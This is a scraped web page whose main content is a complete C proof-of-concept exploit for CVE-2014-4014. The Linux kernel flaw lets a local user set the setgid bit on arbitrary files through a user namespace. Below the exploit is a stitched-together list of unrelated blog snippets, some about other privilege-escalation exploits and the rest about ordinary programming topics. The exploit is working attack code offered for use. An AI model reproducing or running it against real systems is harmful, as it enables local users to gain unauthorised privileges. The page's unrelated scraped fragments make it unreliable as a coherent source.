/**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * http://hashcrack.org
 *
 * Usage: ./poc [file_path]
 *
 * where file_path is the file on which you want to set the sgid bit
 */
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>
 
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
 
struct args {
    int pipe_fd[2];
    char *file_path;
};
 
static int child(void *arg) {
    struct args *f_args = (struct args *)arg;
    char c;
 
    // close stdout
    close(f_args->pipe_fd[1]);
 
    assert(read(f_args->pipe_fd[0], &c, 1) == 0);
 
    // set the setgid bit
    chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
 
    return 0;
}
 
int main(int argc, char *argv[]) {
    int fd;
    pid_t pid;
    char mapping[1024];
    char map_file[PATH_MAX];
    struct args f_args;
 
    assert(argc == 2);
 
    f_args.file_path = argv[1];
    // create a pipe for synching the child and parent
    assert(pipe(f_args.pipe_fd) != -1);
 
    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
    assert(pid != -1);
 
    // get the current uid outside the namespace
    snprintf(mapping, 1024, "0 %d 1\n", getuid());
 
    // update uid and gid maps in the child
    snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
    fd = open(map_file, O_RDWR); assert(fd != -1);
 
    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
    close(f_args.pipe_fd[1]);
 
    assert (waitpid(pid, NULL, 0) != -1);
}

CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC的更多相关文章

  1. karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  2. Linux Kernel 'MSR' Driver Local Privilege Escalation

    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit hos ...

  3. [转]Mac OS X local privilege escalation (IOBluetoothFamily)

    Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...

  4. [EXP]Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)

    #include "stdafx.h" #include <Windows.h> #include "resource.h" void DropRe ...

  5. MS14-068 privilege escalation PoC: 可以让任何域内用户提升为域管理员

    https://github.com/bidord/pykek ms14-068.py Exploits MS14-680 vulnerability on an un-patched domain ...

  6. OSCP Learning Notes - Privilege Escalation

    Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...

  7. ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

    ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...

  8. Linux Kernel KVM 'apic_get_tmcct()'函数拒绝服务漏洞

    漏洞版本: Linux Kernel 漏洞描述: Bugtraq ID:64270 CVE ID:CVE-2013-6367 Linux Kernel是一款开源的操作系统. Linux KVM LAP ...

  9. Linux Kernel本地权限提升漏洞

    漏洞版本: Linux Kernel 漏洞描述: Bugtraq ID:64291 CVE ID:CVE-2013-6368 Linux Kernel是一款开源的操作系统. 如果用户空间提供的vapi ...

随机推荐

  1. Xshell设置密钥登录确保Linux

    用Xshell设置密匙登陆服务器, 第一步.使用Xshell生成密钥 我们打开熟悉的XSHELL软件,然后在工具-新建用户密钥生成向导. 到了生成密钥参数界面,我们这里需要选择RSA密钥类型,以及密钥 ...

  2. Oracle单引号转义符

    作用:Increase readability and usability (增加可读性和可用性) 用法:select  q'[ select * from ]'||table_name|| ';'  ...

  3. python3-调用函数

    Python内置了很多有用的函数,我们可以直接调用. 要调用一个函数,需要知道函数的名称和参数,比如求绝对值的函数abs,只有一个参数.可以直接从Python的官方网站查看文档: http://doc ...

  4. mysql 通过navicat 添加函数或者过程

    1. 添加函数时, 函数参数的  varchar(255) 一定要加上 255,返回也要加.不加一直保存不了,狂试: 2. 添加过程时, 进入课程体 编辑时  也要加上 varchar 的位数限制.不 ...

  5. Spring Aop 动态代理失效分析

    1. Spring Aop 原理 Spring Aop 通过动态代理创建代理对象,在调用代理对象方法前后做增强. 2. Transactional, Async 注解失效? 当在动态代理方法中调用当前 ...

  6. Python---基础-小游戏用户猜数字2

    一.使用int()将小数转换成整数,结果是向上取数还是向下取数 int(3,4) print(int(3,4)) ####写一个程序,判断给定年份是否为闰年 - 闰年的定义,能够被4整除的年份就叫闰年 ...

  7. js中元素更新value页面体现不出来的原因

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. JavaScript清空数组的三种方法

    [文章系摘自网络,看到有用记录在博客,同时共享给大家] 原链接:http://www.2cto.com/kf/201409/335383.html 方式1,splice   var ary = [1, ...

  9. LRU management

    LRU management 字典树用来查找值,实现map<string,int>操作 tips:tot必须从一开始QAQ #include<bits/stdc++.h> us ...

  10. 问候 UEditor 的大爷

    记录该日志的时间是2015年2月1日. 先给出 UEditor 项目的首页,它是一款由百度开发的开源富文本编辑器,关于它的介绍,大家可以查看百度百科. UEditor - 首页http://uedit ...